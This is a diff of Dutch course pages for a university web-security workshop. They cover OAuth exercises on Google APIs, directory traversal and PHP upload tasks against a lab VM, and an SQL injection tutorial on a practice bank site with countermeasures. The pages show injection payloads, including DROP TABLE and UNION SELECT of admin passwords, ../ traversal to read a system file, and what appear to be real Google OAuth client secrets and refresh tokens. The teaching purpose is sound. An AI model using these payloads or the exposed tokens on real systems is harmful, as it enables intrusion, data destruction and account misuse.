<code style="display: block;"> <code style="display: block;">
Client id: 507532281075-92u6kon3r2kpesqbadmt29cnlvtpjbkh.apps.googleusercontent.com<br> Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br>
Client secret: yTmMOl9GfCFl-F4QoESfi7HT<br> Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br>
Refresh token: 1/EpIRGrHcCV8wi54zGwJoKUklSTkndrJvj1mixqNrgkY"<br></code> Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code>
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token) <p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token) om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter op 'refresh_token' zetten:</p>
om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter
op 'refresh_token' zetten:</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
<strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block"> <img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
<p>Gebruik de access token die je krijgt om een API call te doen naar <p>Gebruik de access token die je krijgt om een API call te doen naar <span class="url">https://www.googleapis.com/calendar/v3/calendars/secavans@gmail.com/events</span>. Vergeet niet weer de juiste Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google Calender te zien in JSON formaat.</p>
<span class="url">https://www.googleapis.com/calendar/v3/calendars/websec.paulwagener@gmail.com/events</span>. Vergeet niet weer de juiste Authorization
header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google Calender
te zien in JSON formaat.</p>
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block"> <img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
<div class="question"> <div class="question">
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span> <span class="question-string">Wat is de code die in de Geheime afspraak staat? </span>
</div> {% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %}
<input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input>
</div>
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag <p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag weer de <a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een <a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals <a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of <a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
weer de
<a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een
<a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals
<a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of
<a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
<p>Details over Google OAuth 2.0 kan je vinden op <p>Details over Google OAuth 2.0 kan je vinden op <a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de <a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs &amp; auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
<a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de
<a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs &amp;
auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
<p>Gebruik de authorisatie URL zoals die <p>Gebruik de authorisatie URL zoals die <a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
<a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
<p class="hint"> <p class="hint"><strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld <a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
<strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde
API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld
<a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
<div class="question"> <div class="question">
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die <span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die requests). Gevoelige data mag je met ***** censureren.</span>
requests). Gevoelige data mag je met ***** censureren.</span> {% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %}
</div> <textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea>
</div>
<h3>Mini webapp</h3> <h3>Mini webapp</h3>
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je <p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je mag ook een OAuth framework gebruiken)</p>
mag ook een OAuth framework gebruiken)</p>
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%"> <img src="static/img/webapp1.png" class="screenshot" style="width: 40%">
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%"> <img src="static/img/webapp2.png" class="screenshot" style="width: 40%">
<div class="question"> <div class="question">
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span> <span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span>
</div> {% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %}
<textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea>
</div>
{% endblock %} {% endblock %}
+52 -48
View File
@@ -1,82 +1,86 @@
{% extends 'base.html' %} {% block content %} {% extends "base.html" %}
<h1>Insecure Direct Object References</h1> {% block content %}
<img src="/static/img/imgr.png"> <h1>Insecure Direct Object References</h1>
<h2>Image site</h2> <img src="/static/img/imgr.png">
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database <h2>Image site</h2>
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit <p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
wat de inhoud van dit bestandje is.</p>
<p class="hint"> <p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit wat de inhoud van dit bestandje is.</p>
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
<div class="question"> <p class="hint"><strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
<div class="question">
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span> <span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
</div> <div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_secret" value="{{ answers.answer_path_secret.string }}"></input>
</div>
<div class="question">
<span class="question-string">Plak het script dat je hebt gebruikt</span>
<div class="points"><span class="question-points">0</span> punten</div>
<textarea class="question-input" name="answer_path_secret_script">{{ answers.answer_path_secret_script.string }}</textarea>
</div>
<h2>Image 2</h2> <h2>Image 2</h2>
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver <p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver bereikbaar is. De plaatjes worden nu via een speciaal image.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
bereikbaar is. De plaatjes worden nu via een speciaal image.php (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
<p class="hint">Met een paar extra <p class="hint">Met een paar extra <code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
<div class="question"> <div class="question">
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span> <span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
</div> <div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_image_url" value="{{ answers.answer_path_image_url.string }}">
</div>
<p>Verander image.php in image_check_prefix.php ( <p>Verander image.php in image_check_prefix.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
<div class="question"> <div class="question">
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span> <span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
</div> <div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_image_url_prefix" value="{{ answers.answer_path_image_url_prefix.string }}">
</div>
<p>Verander de bestandsnaam in image_remove_traversal.php ( <p>Verander de bestandsnaam in image_remove_traversal.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de URL kan gebruiken.</p>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de
URL kan gebruiken.</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de URL filterde?</p>
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de
URL filterde?</p>
<div class="question"> <div class="question">
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span> <span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
</div> <div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_image_url_remove_traversal" value="{{ answers.answer_path_image_url_remove_traversal.string }}">
</div>
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p> <p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
<div class="question"> <div class="question">
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span> <span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
</div> <div class="points"><span class="question-points">0</span> punten</div>
<textarea class="question-input" name="answer_path_image_fix">{{ answers.answer_path_image_fix.string }}</textarea>
</div>
<img src="/static/img/parent_dir.png" class="center-block"> <img src="/static/img/parent_dir.png" class="center-block">
<h2>Image 3</h2> <h2>Image 3</h2>
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's ( <p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met <code>include()</code> ziet er interessant uit...</p>
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met
<code>include()</code> ziet er interessant uit...</p>
<div class="question"> <div class="question">
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span> <span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
</div> <div class="points"><span class="question-points">0</span> punten</div>
<textarea class="question-input" name="answer_path_include_explain">{{ answers.answer_path_include_explain.string }}</textarea>
</div>
{% endblock %} {% endblock %}
+128 -149
View File
@@ -1,224 +1,203 @@
{% extends 'base.html' %} {% block content %} {% extends "base.html" %}
<style>
{% block content %}
<style>
code i { code i {
color: blue; color: blue;
font-style: normal; font-style: normal;
font-weight: bold; font-weight: bold;
} }
p code { p code {
padding: 0; padding: 0;
margin: 2px; margin: 2px;
} }
</style> </style>
<h1>Web App Security</h1> <h1>Security 1</h1>
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin <p>Welkom bij Security 1! Dit vak gaan we ons richten op het hacken van websites. En met die zin komen we meteen bij onze gouden regel voor dit vak:</p>
komen we meteen bij een gouden regel:</p>
<blockquote>Het hacken van websites zonder toestemming is <blockquote>Het hacken van websites zonder toestemming is <strong>niet</strong> toegestaan</blockquote>
<strong>niet</strong> toegestaan</blockquote>
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende <p>Om de opdrachten te kunnen maken krijg je van ons toestemming om de websites in de VM te mogen hacken ;).
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p> We gaan in dit vak verschillende manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens
de workshop in de praktijk te brengen</p>
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block"> <img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
<h1>SQL injection</h1> <h1>SQL injection</h1>
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn <p>We beginnen deze week bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn er <a href="https://www.google.nl/webhp?#safe=off&amp;tbm=nws&amp;q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
er
<a href="https://www.google.nl/webhp?#safe=off&amp;tbm=nws&amp;q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query <p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query die wordt uitgevoerd is bijvoorbeeld deze:</p>
die wordt uitgevoerd is bijvoorbeeld deze:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code> <code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar <p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
<h5>Commentaar</h5> <h5>Commentaar</h5>
<p>Met <p>Met <code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met <code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code> <code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. <p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. De query zal dus ook rijen teruggeven waar <i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen kopen :)</p>
De query zal dus ook rijen teruggeven waar
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen
kopen :)</p>
<h5>AND, OR</h5> <h5>AND, OR</h5>
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld <p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld de volgende query maken met de juiste invoer:</p>
de volgende query maken met de juiste invoer:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code> <code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
<p>Deze query maakt weer het <p>Deze query maakt weer het <i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het resultaat is altijd true (de haakjes worden als volgt geplaatst: <code>. OR ( . AND . )</code>).
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het
resultaat is altijd true (de haakjes worden als volgt geplaatst:
<code>. OR ( . AND . )</code>).</p>
<h5>Meerdere queries</h5> <h5>Meerdere queries</h5>
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk <p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code> <code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
<p>Met <p>Met <code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat. Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat.
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
<h5>UNION</h5> <h5>UNION</h5>
<p>We kunnen met behulp van de <p>We kunnen met behulp van de <a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code> <code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries <p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries evenveel kolommen teruggeven.</p>
evenveel kolommen teruggeven.</p>
<img src="/static/img/shield.png" style="float: right"> <img src="/static/img/shield.png" style="float: right">
<h4>Countermeasures</h4> <h4>Countermeasures</h4>
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je <p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
<h5>Stored procedures</h5> <h5>Stored procedures</h5>
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat <p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat in plaats op de server is SQL injectie niet mogelijk</p>
in plaats op de server is SQL injectie niet mogelijk</p>
<h5>Prepared statements</h5> <h5>Prepared statements</h5>
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die <p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk. Lees <a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk.
Lees
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
<h5>Escaping</h5> <h5>Escaping</h5>
<p>Je kan ook alle invoer zelf escapen met functies zoals <p>Je kan ook alle invoer zelf escapen met functies zoals <a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid op je website!</p>
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid
op je website!</p>
<p>Op <p>Op <a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
<img src="/static/img/sql_injectie.png" class="center-block"> <img src="/static/img/sql_injectie.png" class="center-block">
<h2>Bank</h2> <h2>Bank</h2>
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op <p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel geld Bob op zijn rekening heeft staan.</p>
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel
geld Bob op zijn rekening heeft staan.</p>
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom <p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom haar rekening hacken met behulp van SQL.</p>
haar rekening hacken met behulp van SQL.</p>
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link <p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link <span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
<p class="hint"> <p class="hint"><strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
<p class="hint"> <p class="hint"><strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
<p class="hint"> <p class="hint"><strong>Hint 3:</strong> Bekijk de broncode achter de site: <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51</a>
<strong>Hint 3:</strong> Bekijk de broncode achter de site: De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a>
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
<img src="/static/img/poespas.png" style="width: 70%" class="center-block screenshot"> <img src="/static/img/poespas.png" style="width: 70%" class="center-block">
<div class="question"> <div class="question">
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span> <span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
</div> {% include "points.html" with points=answers.answer_sql_money_alice.points max="5" %}
<input class="question-input" name="answer_sql_money_alice" value="{{ answers.answer_sql_money_alice.string }}"></input>
</div>
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen <div class="question">
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, <span class="question-string">Wat heb je als gebruikersnaam ingevuld om zonder wachtwoord in te loggen als Alice?</span>
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p> {% include "points.html" with points=answers.answer_sql_username_alice.points max="10" %}
<input class="question-input" name="answer_sql_username_alice" value="{{answers.answer_sql_username_alice.string}}"></input>
</div>
<div class="question"> <p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
<div class="question">
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span> <span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
</div> {% include "points.html" with points=answers.answer_sql_always_password.points max="10" %}
<input class="question-input" name="answer_sql_always_password" value="{{answers.answer_sql_always_password.string}}"></input>
</div>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker. Het maakt voor de opdracht niet uit als wie je inlogt.</p>
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p>
<div class="question"> <div class="question">
<span class="question-string">Bekijk de <span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op. Type de verbeterde regels code in onderstaand tekstveld. (denk terug aan je mysql WEBS2 practicum)</span>
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span> {% include "points.html" with points=answers.answer_sql_fix_query.points max="15" %}
